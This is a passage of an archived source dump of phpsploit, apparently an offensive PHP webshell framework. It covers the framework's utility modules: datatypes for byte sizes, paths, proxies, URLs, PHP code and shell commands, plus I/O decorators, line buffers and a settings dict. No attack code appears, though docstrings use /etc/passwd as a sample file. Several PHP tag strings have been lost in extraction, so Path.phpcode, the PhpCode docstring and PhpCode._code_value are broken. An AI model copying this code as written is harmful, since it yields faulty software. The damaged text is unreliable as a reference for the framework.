_raw_value(self): return int(self) def __call__(self): return self._raw_value() def __str__(self): return colorize("%BoldCyan", "True" if self else "False") phpsploit-3.2+git20240329.aea961d/src/datatypes/ByteSize.py000066400000000000000000000041511460155776400230530ustar00rootroot00000000000000from ui.color import colorize class ByteSize(int): """Human readable byte size representation. (extends int) Takes an integer or byte number string representation (e.g. "1kb"). >>> size = ByteSize("1 KB") >>> print(size) 1 KiB (1024 bytes) >>> size() 1024 """ _metrics = 'BKMGT' # ordered byte metric prefixes def __new__(cls, value=0): # convert to an uppercase string, and format it. value = str(value) if len(value.splitlines()) != 1: raise ValueError("invalid byte size representation") value = value.replace(',', '.').upper() + 'B' value = value.replace(' ', '').replace('O', 'B') # get back float number and metric prefix number = metric = str() for char in value: if char in '0123456789.': number += char else: metric = char break # make sure the syntax is correct try: number = float(number) assert metric in cls._metrics except: raise ValueError("invalid byte size representation") # get the real integer value, and return it's int instance multiplier = 1024 ** (cls._metrics.find(metric)) result = int(number * multiplier) return int.__new__(cls, result) def _raw_value(self): return int(self) def __call__(self): return self._raw_value() def __str__(self): self_str = super().__str__() if self == 1: return "1 byte" number = float(self) for index in range(len(self._metrics)): if number < 1024.0 or index == len(self._metrics)-1: break number /= 1024.0 intLen = len(str(int(number))) precision = max(0, (3 - intLen)) number = str(round(number, precision)).rstrip('0').rstrip('.') byteNames = ('bytes', 'KiB', 'MiB', 'GiB', 'TiB') result = number + " " + byteNames[index] if index > 0: result += colorize(" ", '%DimWhite', "(%s bytes)" % self_str) return result phpsploit-3.2+git20240329.aea961d/src/datatypes/Code.py000066400000000000000000000026551460155776400221760ustar00rootroot00000000000000try: import pygments import pygments.formatters import pygments.lexers import ui.output USE_PYGMENTS = True except ImportError: USE_PYGMENTS = False def Code(language): class ColoredCode(str): """Piece of source code. (extends str) Takes a string representing a portion of source code. When printed or when self.__str__() is called the code will be formated using pygments if possible. self._code_value() is used to retrieve the code to be formated, its default implementation is to use self.__call__(). """ if USE_PYGMENTS: lexer = pygments.lexers.get_lexer_by_name(language) if ui.output.colors() >= 256: formatter = pygments.formatters.Terminal256Formatter else: formatter = pygments.formatters.TerminalFormatter formatter = formatter(style='vim', bg='dark') def _raw_value(self): return super().__str__() def __call__(self): return self._raw_value() def _code_value(self): return self.__call__() def __str__(self): string = self._code_value() if not USE_PYGMENTS: return string return pygments.highlight(string, self.lexer, self.formatter).strip() return ColoredCode phpsploit-3.2+git20240329.aea961d/src/datatypes/Interval.py000066400000000000000000000034341460155776400231040ustar00rootroot00000000000000import re import random from ui.color import colorize class Interval(tuple): """Random float from interval numbers. (extends tuple) Static values can be defined by giving a single number, as an int, float or str. The returned float will then never change. Dynamic values can be defined by giving a couple of numbers, in tuple or str format. If str, is must contain two numbers separated by any one other char(s) (e.g. "between 1.2 and 12"). >>> val = Interval("1,5 < 5") >>> val (1.5, 5.0) >>> val() 4.2 >>> print(val) 1.5 <= x <= 5 (random interval) """ def __new__(cls, value): rawval = str(value) if isinstance(value, (int, float, str)): value = str(value).replace(',', '.') value = re.split('[^0-9.]', value) value = [str(e) for e in value if e] if len(value) == 1: value = [value[0], value[0]] if len(value) != 2: raise ValueError("Invalid format: %s" % rawval) try: value[0] = float(value[0]) value[1] = float(value[1]) except ValueError: raise ValueError("Invalid float pair: %s" % rawval) value = tuple(sorted(value)) return tuple.__new__(cls, value) def _raw_value(self): return tuple(self) def __call__(self): return random.uniform(self[0], self[1]) def __str__(self): low, big = [str(x).rstrip('0').rstrip('.') for x in self] main = colorize('%Bold', '%s', '%Basic') if low == big: text = main %low comment = '(fixed interval)' else: text = ' <= '.join((low, main %'x', big)) comment = '(random interval)' return colorize('%Pink', text, " ", '%DimWhite', comment) phpsploit-3.2+git20240329.aea961d/src/datatypes/Path.py000066400000000000000000000206531460155776400222160ustar00rootroot00000000000000import os from core import encoding import utils.path class Path(str): """File or directory path. (extends str) Takes one or more string arguments, joinded as a single absolute file or directory path. The optionnal keyword arg, `mode` defines some conditionnal path properties. A ValueError is raised if path do not exists, or if at least one of the `mode` conditions is not honored. Available mode tags: e: path exists (default value) f: is a file d: is a directory r: is readable x: is executable w: is writable Example: >>> Path("./test", mode='efrw') '/home/user/test' >>> Path("/home", "user", ".bashrc", mode="fr") '/home/user/.bashrc' """ def __new__(cls, *args, mode='', filename='file.txt'): """Create a new path object. The file/dir path is determined by joining `args` as a single absolute path. virtual undefined path: ----------------------- If no path arguments are specified, a fresh instance which binds to a temporary file is created. A random directory name is created into TMPPATH, and file name unherits the `filename` class argument which defaults to 'file.txt'. Example: >>> from core import session >>> session.Conf.TMPPATH = "/tmp" >>> path = Path() >>> print(path) /tmp/Iej4iephaeci/file.txt >>> path = Path(filename="code.php") >>> print(path) /tmp/baeW7OoChooF/code.php """ # if not args, default to random tmp file path: if not args: import uuid try: from core import session except: raise TypeError("Required 'path' argument(s) not found") # get random tmp file path rand_dir = str(uuid.uuid4()) + os.sep filename = filename.replace(os.sep, "") # remove '/' from filename path = session.Conf.TMPPATH() + rand_dir + filename os.makedirs(os.path.dirname(path)) # create the file with empty content open(path, 'w+').close() else: path = utils.path.truepath(*args) if mode: mode += 'e' def error(msg): raise ValueError("%r: %s" % (path, msg)) # exists if 'e' in mode and not os.path.exists(path): error("No such file or directory") # is file if 'f' in mode and not os.path.isfile(path): error("Is a directory") # is directory if os.path.isdir(path): path += os.sep elif 'd' in mode: error("Not a directory") # is executable if 'x' in mode and not os.access(path, os.X_OK): error("Not executable") # is readable if 'r' in mode and not os.access(path, os.R_OK): error("Not readable") # is writable if 'w' in mode and not os.access(path, os.W_OK): error("Not writable") return str.__new__(cls, path) def __init__(self, *args, mode='', filename='file.txt'): """Instanciate a new Path() Instance is considered a tmpfile (temporary file) if called without arguments. It means that the linked file will be automatically deleted from filesystem at object deletion (self.__del__()). """ # If the datatype takes no arguments, then it is # a tmpfile Path() type. # Defining its boolean atribute self.tmpfile allows us to # unlink the file on object deletion throught __del__(). self.tmpfile = not args def _raw_value(self): return os.path.realpath(str(self)) def __call__(self): return str(self) def __del__(self): # remove tmp file (if any) if self.tmpfile: os.unlink(self) try: os.rmdir(os.path.dirname(self)) except OSError: pass def edit(self): """Open the file with EDITOR setting for edition. This boolean method returns True if the file has been correctly edited, and its content changed. """ from core import session import subprocess import shlex # We use shlex not shnake because we need something naive. # We don't want to handle redirection and other stuff. args = shlex.split(session.Conf.EDITOR()) args.append(self) old = self.read(bin_mode=True) try: subprocess.call(args) except OSError: print("[-] Invalid EDITOR (fix with `set EDITOR `)") raise new = self.read(bin_mode=True) return new != old def browse(self): """Display the file through phpsploit's BROWSER NOTE: For the moment, the method always returns True, but it may chance in the future. """ from core import session return session.Conf.BROWSER(call=False).open(self) def read(self, bin_mode=False): """Read path file contents. This method actually returns a string formatted for the current platform. It means that a file contents which uses '\r\n' line separators will be returned with '\n' separators instead, if it is opened through a GNU/Linux system. If you want to read data rawly, without newline treatment as mentionned above, the bin_mode optionnal argument should be set to True, in which case a bytes() buffer containing file data is returned instead of str(). """ if bin_mode: with open(self, 'rb') as file: return file.read() else: try: lines = self.readlines() return os.linesep.join(lines) except UnicodeDecodeError: bytestring = self.read(bin_mode=True) return encoding.decode(bytestring) def write(self, data, bin_mode=False): """Write `data` to the file path. If bin_mode is True or data is a bytes() object, data is rawly written to the file in binary mode. Otherwise, data must be of type str(), and a pre treatmen is applied to the buffer, replacing line separators with system specific newline char(s). Note that newlines are automatically replaced by system specific newline char(s) is data is a string. Otherwise, is data is a bytes() buffer, data is rawly written. """ if isinstance(data, bytes): bin_mode = True if not bin_mode: try: lines = data.splitlines() data = os.linesep.join(lines) with open(self, 'w') as file: file.write(data) return except UnicodeDecodeError: bin_mode = True if bin_mode: # if bin_mode, convert str() to bytes() if isinstance(data, str): data = encoding.encode(data) # otherwise, try to convert to bytes() elif not isinstance(data, bytes): data = bytes(data) with open(self, 'wb') as file: file.write(data) return def readlines(self): """Get the list of file path lines. NOTE: The lines are returned without newline char(s). """ with open(self, 'r') as file: return file.read().splitlines() def phpcode(self): """Get minified php code from file. Minification: The method removes php tag markers (''), empty lines and useless trailing spaces. Format: The '\n' separator is used, without caring about platform. NOTE: Multiline comment style (/* foo\nbar */) is not supported by internal php code minifier, and should generally not be used inside of the phpsploit framework. """ data = self.read().strip() if data.startswith(''): data = data[:-2] data = data.strip() result = list() for line in data.splitlines(): line = line.strip() if not line.startswith('//'): result.append(line) return '\n'.join(result) phpsploit-3.2+git20240329.aea961d/src/datatypes/PhpCode.py000066400000000000000000000015721460155776400226430ustar00rootroot00000000000000import re from .Code import Code class PhpCode(Code("php")): """Line of PHP Code. (extends str) Takes a string representing a portion of PHP code. >>> code = PhpCode('') >>> code() 'phpinfo();' >>> print(code) '' """ def __new__(cls, string): pattern = (r"^(?:<\?(?:[pP][hH][pP])?\s+)?\s*(" r"[^\<\s].{4,}?)\s*;?\s*(?:\?\>)?$") # disable check if code is multiline string = string.strip() if len(string.splitlines()) == 1: try: # regex validates and parses the string string = re.match(pattern, string).group(1) except: raise ValueError('ÂĢ%sÂģ is not PHP code' % string) return super().__new__(cls, string) def _code_value(self): return "" % self.__call__() phpsploit-3.2+git20240329.aea961d/src/datatypes/Proxy.py000066400000000000000000000041251460155776400224370ustar00rootroot00000000000000"""Proxy tunnel for use through urllib http tunnel. (extends str) """ import re from urllib.request import build_opener, ProxyHandler import extproxy from ui.color import colorize class Proxy(str): """Proxy tunnel for use through urllib http tunnel. (extends str) Takes None or a proxy in the form ://:, where scheme can be http or https. The Proxy datatype returns an urllib opener that includes current proxy, or empty opener if the proxy is None. Example: >>> print(Proxy('127.0.0.1:8080')) "http://127.0.0.1:8080" """ _match_regexp = \ r"^(?:(socks(?:4a?|5h?)|https?)://)?([\w.-]{3,63})(?::(\d+))$" def __new__(cls, proxy=None): if str(proxy).lower() == 'none': return str.__new__(cls, 'None') try: components = list(re.match(cls._match_regexp, proxy).groups()) except: raise ValueError('Invalid proxy format (run `help set PROXY`)') defaults = ['http', '', ''] for index, elem in enumerate(components): if elem is None: components[index] = defaults[index] proxy = "{}://{}:{}".format(*tuple(components)) return str.__new__(cls, proxy) # pylint: disable=super-init-not-called def __init__(self, _=None): """Build self._urllib_opener""" proxy = super().__str__() if proxy == "None": self._urllib_opener = build_opener() return components = list(re.match(self._match_regexp, proxy).groups()) self.scheme, self.host, self.port = components self.components = components proxy_handler = ProxyHandler({'http': proxy, 'https': proxy}) self._urllib_opener = build_opener(proxy_handler) def _raw_value(self): return super().__str__() def __call__(self): return self._urllib_opener def __str__(self): if not hasattr(self, "scheme"): return "None" return colorize('%Cyan', self.scheme, '://', '%BoldWhite', self.host, '%BasicCyan', ':', self.port) phpsploit-3.2+git20240329.aea961d/src/datatypes/ShellCmd.py000066400000000000000000000010701460155776400230050ustar00rootroot00000000000000from shnake import parse from .Code import Code class ShellCmd(Code("sh")): """ShellCmd is an executable program or shell command. (extends str) Takes an executable program path or shell command. >>> text_editor = ShellCmd('vim') >>> text_editor() "vim" """ def __new__(cls, executable): try: parse(executable) except SyntaxError: raise ValueError("ÂĢ%sÂģ is not a valid shell command" % executable) # Value is OK, now we maintain original. return str.__new__(cls, executable) phpsploit-3.2+git20240329.aea961d/src/datatypes/Url.py000066400000000000000000000031651460155776400220630ustar00rootroot00000000000000import re from ui.color import colorize class Url(str): """Http(s) url link. (extends str) Takes a string representation of an url link. it must start with http(s)://, domain can be an IP address or domain name. Example: >>> print(Url('google.fr')) "http://google.fr:80/" """ _match_regexp = (r"^(?:(https?)?://)?([\w.-]{3,63})" r"(?::(\d+))?(/.*?)?(?:\?(.+)?)?$") def __new__(cls, url): try: components = list(re.match(cls._match_regexp, url).groups()) except: raise ValueError('ÂĢ%sÂģ is not a valid URL Link' % url) defaults = ['http', '', '80', '/', ''] if components[0] and components[0].lower() == 'https': defaults[2] = '443' for index, elem in enumerate(components): if elem is None: components[index] = defaults[index] url = "{}://{}:{}{}".format(*tuple(components)) if components[4]: url += "?" + components[4] return str.__new__(cls, url) def __init__(self, _): url = super().__str__() components = list(re.match(self._match_regexp, url).groups()) self.scheme, self.host, self.port, self.path, self.query = components self.components = components def _raw_value(self): return super().__str__() def __call__(self): return self._raw_value() def __str__(self): return colorize('%Cyan', self.scheme, '://', '%BoldWhite', self.host, '%BasicCyan', ':', self.port, self.path, ("?" + self.query if self.query else "")) phpsploit-3.2+git20240329.aea961d/src/datatypes/WebBrowser.py000066400000000000000000000037741460155776400234100ustar00rootroot00000000000000import webbrowser from ui.color import colorize class WebBrowser(str): """Web browser object. (extends str, and users webbrowser lib); Takes the name of an available web browser in the current system. >>> browser = WebBrowser('firefox') >>> browser() "/usr/bin/firefox" >>> browser.open('http://www.google.com/') True """ def __new__(cls, name): # a boring Mas OS/X case .. blacklist = ['macosx'] lst = [x for x in webbrowser._browsers.keys() if x not in blacklist] lst.append("disabled") lst_repr = repr(lst)[1:-1] if len(lst) < 2 or name == "disabled": if name not in lst + ["", "default"]: raise ValueError("Can't bind to ÂĢ%sÂģ. Valid choices: %s" % (name, lst_repr)) return str.__new__(cls, "disabled") try: if name.lower() in ["", "default"]: name = webbrowser.get().name else: webbrowser.get(name) # another boring Mac OS/X case .. except AttributeError: return str.__new__(cls, "default") except: raise ValueError("Can't bind to ÂĢ%sÂģ. Valid choices: %s" % (name, lst_repr)) return str.__new__(cls, name) def _raw_value(self): return super().__str__() def __call__(self): return self._raw_value() def __str__(self): val = self._raw_value() if val == 'disabled': return colorize('%Red', val) elif val: return colorize('%Cyan', val) else: return colorize('%Cyan', "default") def open(self, url): val = self._raw_value() if val == "disabled": print("[-] BROWSER is disabled, open the following URL manually:") print("[-] %s" % url) else: browser = webbrowser.get(self._raw_value()) # try to open url in new browser tab return browser.open_new_tab(url) phpsploit-3.2+git20240329.aea961d/src/datatypes/__init__.py000066400000000000000000000036031460155776400230550ustar00rootroot00000000000000"""Useful data types collection. This package includes some useful data types, which supports dynamic value and enhanced representations. It has been developped in order to properly handle the PhpSploit framework's session settings and environment variables. PhpSploit dedicated datatypes obey the following conventions: ============================================================= * _raw_value() Returns the unherited type's raw value. It convention has been made to assist session pickling, because even if custom types can be pickled, it stands hard to work with pickled sessions on future PhpSploit versions that use different datatypes names, or if the structure changes in the future. >>> val = Interval('1-10') >>> print( type(val), "==>", repr(val) ) ==> (1.0, 10.0) >>> raw = val._raw_value() >>> print( type(raw), "==>", repr(raw) ) ==> (1.0, 10.0) * __call__() Returns a usable value. If dynamic, it must return one of the possible values. In the case it is static, it returns the same as _raw_value(). >>> val = Interval('1-10') >>> val() 3.2 * __str__() Returns a nice string representation of the object, it may include ANSI colors, because the PhpSploit framework's output manager automagically strips them if they cannot be displayed anyways. >>> print(Interval('1-10')) 1 <= x <= 10 (random interval) * Initialization: Any data type MUST be able to take its _raw_value() as instance initializer. >>> Interval( Interval("1-10")._raw_value() ) # it must be valid """ from .ByteSize import ByteSize from .Boolean import Boolean from .Path import Path from .WebBrowser import WebBrowser from .Interval import Interval from .Proxy import Proxy from .Url import Url from .Code import Code from .PhpCode import PhpCode from .ShellCmd import ShellCmd phpsploit-3.2+git20240329.aea961d/src/decorators/000077500000000000000000000000001460155776400211115ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/decorators/__init__.py000066400000000000000000000001421460155776400232170ustar00rootroot00000000000000"""Miscelaneous decorators. Collection of decorators used by the phpsploit framework's core """ phpsploit-3.2+git20240329.aea961d/src/decorators/isolate_io_context.py000066400000000000000000000034761460155776400253700ustar00rootroot00000000000000"""A decorator for separating I/O context. """ import sys def isolate_io_context(function): """A decorator for separating I/O context. This decorator isolates I/O context of target function or method. I/O Context is a mix of terminal related elements, such as current stdout and readline completer attributes. This decorator is useful if you run something that reconfigures the readline completer, or needs to use the default stdout file descriptor instead of the phpsploit's stdout wrapper. """ def wrapper(*args, **kwargs): try: import readline handle_readline = True except ImportError: handle_readline = False if handle_readline: # backup & reset readline completer old_readline_completer = readline.get_completer() readline.set_completer((lambda x: x)) # backup & reset readline history old_readline_history = [] hist_sz = readline.get_current_history_length() for i in range(1, hist_sz + 1): line = readline.get_history_item(i) old_readline_history.append(line) readline.clear_history() # backup & reset stdout old_stdout = sys.stdout sys.stdout = sys.__stdout__ try: retval = function(*args, **kwargs) finally: if handle_readline: # restore old readline completer readline.set_completer(old_readline_completer) # restore old readline history readline.clear_history() for line in old_readline_history: readline.add_history(line) # restore old stdout sys.stdout = old_stdout return retval return wrapper phpsploit-3.2+git20240329.aea961d/src/decorators/isolate_readline_context.py000066400000000000000000000030611460155776400265320ustar00rootroot00000000000000"""A decorator for separating readline context. """ def isolate_readline_context(function): """A decorator for separating readline context. This decorator isolates readline context of target function or method. Use when phpsploit's readline context should be reset temporarly is the context of triggering function or method. Unlike `isolate_io_context`, this decorator keeps original stdout wrapper. """ def wrapper(*args, **kwargs): try: import readline handle_readline = True except ImportError: handle_readline = False if handle_readline: # backup & reset readline completer old_readline_completer = readline.get_completer() readline.set_completer((lambda x: x)) # backup & reset readline history old_readline_history = [] hist_sz = readline.get_current_history_length() for i in range(1, hist_sz + 1): line = readline.get_history_item(i) old_readline_history.append(line) readline.clear_history() try: retval = function(*args, **kwargs) finally: if handle_readline: # restore old readline completer readline.set_completer(old_readline_completer) # restore old readline history readline.clear_history() for line in old_readline_history: readline.add_history(line) return retval return wrapper phpsploit-3.2+git20240329.aea961d/src/decorators/readonly_settings.py000066400000000000000000000037011460155776400252210ustar00rootroot00000000000000"""A decorator for limiting session settings scope. The readonly_settings decorator takes an undefined number of string arguments, representing the names of the settings to backup, in order to force them to be kept back after function execution. If no arguments are set, then all session settings will be write protected. Example: >>> @readonly_settings("SAVEPATH") >>> def test_function(): ... session.Conf.SAVEPATH = "/modified/savepath" ... session.Conf.TMPPATH = "/modified/tmppath" ... # calling a function that makes use of the altered ... # session settings. ... session.dump(None) ... return None ... >>> session.Conf.SAVEPATH = "/default/savepath" >>> session.Conf.TMPPATH = "/default/tmppath" >>> >>> print(session.CONF.SAVEPATH) "/default/savepath" >>> print(session.CONF.TMPPATH) "/default/tmppath" >>> >>> test_function() >>> >>> print(session.CONF.SAVEPATH) "/default/savepath" >>> print(session.CONF.TMPPATH) "/modified/tmppath" As you can see in the example above, SAVEPATH have been write protected, and it has been reset to it's old state after function execution. """ from core import session def readonly_settings(*decorator_args): # no args = all settings if not decorator_args: decorator_args = list(session.Conf.keys()) def decorator(function): def wrapper(*args, **kwargs): # backup all protected settings protected_settings = {} for name in decorator_args: protected_settings[name] = session.Conf[name] # execute decorated function try: retval = function(*args, **kwargs) # restore protected settings finally: for name, value in protected_settings.items(): session.Conf[name] = value return retval return wrapper return decorator phpsploit-3.2+git20240329.aea961d/src/linebuf.py000066400000000000000000000300261460155776400207430ustar00rootroot00000000000000"""Provide advanced line-buffers for phpsploit session settings""" import os import hashlib import random from abc import ABC, abstractmethod import utils.path from ui.color import colorize class AbstractLineBuffer(ABC): r"""Abstract base-class to implement LineBuffer classes value (mandatory argument): --------------------------- If `value` is a tuple() or list(): - object's 1st item is used as *parent-filepath. - object's 2nd item is used as *buffer-data. >>> AbstractLineBuffer( ['/tmp/data.txt', 'multi\nline\ncontent'] ) If `value` is a str() and starts with 'file://': - the string after 'file://' is used as *parent-filepath. - file's content is used as *buffer-data. >>> AbstractLineBuffer("file:///tmp/data.txt") Otherwise: `str(value)` is used as *buffer-data. object is an *orphan-buffer. >>> AbstractLineBuffer("nulti\nline\ncontent") validator (optional argument): ------------------------------ A `validator` callable (function) can optionally be provided to check the validity of buffer's *usable-value. It should raise a ValueError() if passed value is invalid. Methods: -------- __str__() get a colored string representation of the object. __call__() get the *usable-value of the buffer. __iadd__() allow strings being concatenated to the end of buffer. If string starts with 'file://', object is bound to corresponding file path (*file-bound-buffer). __getitem__() get elements of object in the form [filepath, buffer]. _raw_value() get a simple representation of the object, based on python built-ins, suitable to be dumped with pickle for later restauration. update() try to replace buffer with *parent-filepath's content Lexic: ------ *parent-filepath: `self.file` Filesystem file path string, whose content is used by current object to feed *buffer-data. *buffer-data: `self.buffer` A string representing current object's internal data buffer. *file-bound-buffer: A buffer whose value is taken from a file path (*parent-filepath). If file is readable, buffer is upgraded with file content. If not readable, current buffer is kept until the file becomes accessible again. *orphan-buffer: A buffer that is not a *file-bound-buffer, i.e. no *parent-filepath is defined. *usable-value: The final value used by phpsploit. It depends on child classes. MultilineBuffer() uses the whole buffer as usable value. RandLineBuffer() uses a random line from buffer as usable value. """ def __init__(self, value, validator=None): if not hasattr(self, "desc"): raise NotImplementedError("`desc` (description) attribute" "is not defined") if validator is None: validator = (lambda x: x) if not callable(validator): raise TypeError("`validator` is not callable()") self._validator = validator if not isinstance(value, (list, tuple)): value = str(value) # if value is list/tuple: if type(value) is not str: # pylint: disable=unidiomatic-typecheck self.file = value[0] self.buffer = value[1] # if value is a 'file://' string elif value[7:] and value[:7].lower() == "file://": self.file = utils.path.truepath(value[7:]) try: with open(self.file, 'r') as file: self.buffer = file.read() except OSError: raise ValueError("not a readable file: ÂĢ%sÂģ" % self.file) # if value is just a string else: self.file = None self.buffer = value def __call__(self, call=True): """Get current buffer's *usable-value `call` (bool): If True, and *usable-value is callable, return called *usable-value """ usable_value = self._validator(self.buffer) if call and callable(usable_value): return usable_value() return usable_value @abstractmethod def __str__(self): """Get a colored string representation of current object >>> MultiLineBuffer("monoline") monoline >>> MultiLineBuffer("file:///etc/passwd") >>> MultiLineBuffer("line1\\nline2") """ def __iadd__(self, new): """allow strings being concatenated to the end of buffer. If string starts with 'file://', suffix is used as new *parent-filepath >>> x = MultiLineBuffer("choice1") >>> x choice1 >>> x += "choice2" >>> x += "file:///tmp/foo" >>> x """ if not isinstance(new, str): msg = "Can't convert '{}' object to str implicitly" raise TypeError(msg.format(type(new).__name__)) new += os.linesep # if string starts with 'file://', use it as *parent-filepath lines = len(new.splitlines()) if lines == 1 and new[7:] and new[:7] == "file://": result = self.__class__(self.buffer, self._validator) result.file = new[7:].strip() return result # otherwise, concatenate normal string to buffer buffer = self.buffer if buffer[-1] not in "\r\n": buffer += os.linesep buffer += new return self.__class__(buffer, self._validator) def __getitem__(self, item): """dump object as an iterable of the form: [*parent-filepath, *buffer-data] >>> tuple(MultiLineBuffer(["/file/path", "buffer"]) ("/file/path", "buffer") """ if item in [0, "file"]: return self.file if item in [1, "buffer"]: return self.buffer raise IndexError(self.__class__.__name__+" index out of range") def __getattribute__(self, name): """automatically update self.buffer from self.file whenever it is possible """ if name == "buffer" and self.file: try: with open(self.file, 'r') as file: buffer = file.read() if self._buffer_is_valid(buffer): self.buffer = buffer except OSError: pass return super().__getattribute__(name) def _raw_value(self): """convert object into a built-in data type (tuple). Format: (*parent-filepath, *buffer-data) >>> x = MultiLineBuffer("data") >>> x._raw_value() (None, "data") """ return tuple(self) @abstractmethod def _buffer_is_valid(self, buffer): """check if `buffer` string is valid for current class """ # pylint: disable=too-few-public-methods class MultiLineBuffer(AbstractLineBuffer): r"""A LineBuffer supporting multi-line buffers. Buffer's *usable-value is set to the whole buffer's content, even if it's multi-line. """ desc = r""" {var} is a MultiLineBuffer. It supports multi-line buffers. * To edit/show buffer with text editor, run this command: > set {var} + """ def __init__(self, value, validator=None): super().__init__(value, validator) self._validator(self.buffer) def __str__(self): """Get a colored string representation of current object >>> MultiLineBuffer("monoline") monoline >>> MultiLineBuffer("file:///etc/passwd") >>> MultiLineBuffer("line1\\nline2") """ # if buffer has a single line, use it as representation: if not self.file and len(self.buffer.splitlines()) == 1: return str(self._validator(self.buffer.strip())) # otherwise, use complex representation: obj_id = self.file if not obj_id: obj_id = hashlib.md5(self.buffer.encode('utf-8')).hexdigest() lines_str = " (%s lines)" % len(self.buffer.splitlines()) return colorize("%BoldBlack", "<", "%BoldBlue", "MultiLine", "%BasicCyan", "@", "%Bold", obj_id, "%BasicBlue", lines_str, "%BoldBlack", ">") def _buffer_is_valid(self, buffer): """return True if buffer is not empty""" return bool(buffer.strip()) class RandLineBuffer(AbstractLineBuffer): r"""A LineBuffer supporting random-choice multi-line buffers. Buffer's *usable-value is set to a random valid choice between lines composing the buffer. """ desc = r""" {var} is a RandLineBuffer. It supports multiple values. If {var} contains multiple lines (choices), a random one is used as value each time the setting is used. * EXAMPLE: The HTTP_USER_AGENT setting has multiple strings as default value. Each time an HTTP request is sent, a random User-Agent is used from the list of choices (run `set HTTP_USER_AGENT` to show setting). * To edit/show buffer with text editor, run this command: > set {var} + """ def __init__(self, value, validator=None): super().__init__(value, validator) if len(self.buffer.splitlines()) == 1: # if single choice, submit it to _validator() to validate it # important, so real exception is returned in case of failure self._validator(self.buffer.splitlines()[0]) elif not self.choices(): # if multi choice, at least one line must be usable raise ValueError("couldn't find an *usable-choice" " from buffer lines") def __call__(self, call=True): """Get a random *usable-value from buffer lines. `call` (bool): If True, and *usable-value is callable, return called *usable-value """ obj = random.choice(self.choices()) if call and callable(obj): return obj() return obj def __str__(self): """Get a colored string representation of current object >>> RandLineBuffer("singleChoice") singleChoice >>> RandLineBuffer("file:///etc/passwd") >>> RandLineBuffer("choice1\\nchoice2") """ # if buffer has a single line, use it as representation: if not self.file and len(self.buffer.splitlines()) == 1: return str(self._validator(self.buffer.strip())) # otherwise, use complex representation: obj_id = self.file if not obj_id: obj_id = hashlib.md5(self.buffer.encode('utf-8')).hexdigest() num = len(self.choices()) choices = " (%s choice%s)" % (num, ('', 's')[num > 1]) return colorize("%BoldBlack", "<", "%BoldBlue", "RandLine", "%BasicCyan", "@", "%Bold", obj_id, "%BasicBlue", choices, "%BoldBlack", ">") def _buffer_is_valid(self, buffer): """return True if at least one line is a valid *usable-choice candidate """ return bool(self.choices(buffer)) def choices(self, buffer=None): """get a list of potential *usable-value lines. I.e. lines validated by self._validator(). Empty lines and comment lines (starting with '#') are ignored. If `buffer` argument is None (default), *buffer-data (self.buffer) is used. """ if buffer is None: buffer = self.buffer if not isinstance(buffer, str): raise ValueError("`buffer` must be a string") # return a list of valid choices only result = [] for line in buffer.splitlines(): line = line.strip() if line and not line.startswith('#'): try: usable_value = self._validator(line) except: # pylint: disable=bare-except continue result.append(usable_value) return result phpsploit-3.2+git20240329.aea961d/src/metadict.py000066400000000000000000000145561460155776400211230ustar00rootroot00000000000000"""Advanced dict-like classes for processing phpsploit complex session objects. """ __all__ = ["MetaDict", "VarContainer"] from ui.color import colorize from utils.regex import WORD_TOKEN class MetaDict(dict): """MetaDict() object An advanced dict() like class with advanced features, for phpsploit session objects. Metadict() can be instanciated from a built-in dict(). Otherwise, it instanciates itself as en empty directory. Magic item access ----------------- The _isattr() method is used as pattern syntax validator on __getattribute__() and __setattr__() methods in order to respectively use __getitem__() and __setitem__() magic methods instead. Defaultly, the _isattr() function returns False anyway. This means that this nice feature is disabled until overwritten by some child class. Example: An hypothetical child class may enable the item access feature explained above by rewritting the _isattr() method like this: >>> def _isattr(self, name): ... return name == name.capitalize() This way, any called instance attribute whose name is in capitalized format will be automagically linked to the self dict's corresponding item name, like in the folowing concrete case: >>> obj = MetaDict({'Foo':'bar', 'baz':'qux'}) # items whose name _isattr() can be accessed as attributes: >>> assert obj["Foo"]` == obj.Foo # in this example, 'baz' doesn't match _isattr() (capitalize()) >>> assert obj["baz"] != obj.baz Dynamic block display --------------------- This base class provides a nice dynamic columnized multiline string representation of the self dict items. This behavior is managed by the __call__() magic method. The optionnal argument `pattern` can be used to limit item display to keys whose name starts with it's value. When displayed, the output string uses self __doc__'s first line as title unless alternative title had been provided as __init__() named optionnal argument. If the self dict does not contains any item, or the pattern filter does not match any item name, a ValueError is raised. NOTE: Calling the magic __str__() method returns the __call__() string result (without `pattern` argument. """ # pylint: disable=super-init-not-called def __init__(self, value=None, title=None): if value is None: value = {} self.update(value) if title is None: if self.__doc__: self.title = self.__doc__.splitlines()[0].strip() else: self.title = "%s() object" % self.__class__.__name__ else: self.title = str(title) def __getattribute__(self, name): if name != "_isattr" and self._isattr(name): return self.__getitem__(name) return super().__getattribute__(name) def __setattr__(self, name, value): if self._isattr(name): return self.__setitem__(name, value) return super().__setattr__(name, value) def __dir__(self): """considering the special get/set behavior, __dir__() method shall also return self item whose name matches self._isattr(). """ return super().__dir__() + [i for i in self.keys() if self._isattr(i)] def _isattr(self, name): # pylint: disable=unused-argument,no-self-use """Determine whether a called attribute name may be considered as an item call. By default, it returns False anyway, disabling that feature. """ return False def __str__(self): """Return self __call__() method""" return self.__call__() def __call__(self, pattern=""): """Display self dict's items as a formatted multiline string array. The optionnal argument `pattern` is an optional prefix to only display matching items. """ # get matching vars list sing_title = self.title if sing_title.endswith("s"): sing_title = sing_title[:-1] if not self.keys(): raise ValueError("No such " + sing_title) keys = [k for k in self.keys() if k.startswith(pattern)] if not keys: msg = "No {} matching ÂĢ{}Âģ" raise ValueError(msg.format(sing_title, pattern)) tpl = (" {:%s} {}\n") % max(8, len(max(keys, key=len))) buffer = self.title + "\n" + ("=" * len(self.title)) + "\n\n" buffer += tpl.format("Variable", "Value") buffer += tpl.format("--------", "-----") for idx, key in enumerate(sorted(keys)): buffer += colorize(["%Reset", "%Reset"][idx % 2], tpl.format(key, self[key])) return "\n" + buffer + colorize("%Reset") def update(self, new_dict): """Override parent (dict.update()), because it seems that built-in method doesn't use self.__setitem__() internally, which is problematic for phpsploit """ if isinstance(new_dict, dict): for key, value in new_dict.items(): self[key] = value else: super().update(new_dict) class VarContainer(MetaDict): """VarContainer() object This class unherits Metadict, and just implements a way to delete items by settings them to a set of magic values (item_deleters) >>> obj = VarContainer() >>> obj['KEY'] = "foobar" >>> # in this objects, the two following lines do exactly the same thing: >>> del obj['KEY'] >>> obj['KEY'] = "None" """ item_deleters = ["", "NONE"] def __setitem__(self, name, value): """If `value` is None, "None" (case-insensitive) or "" (empty str), 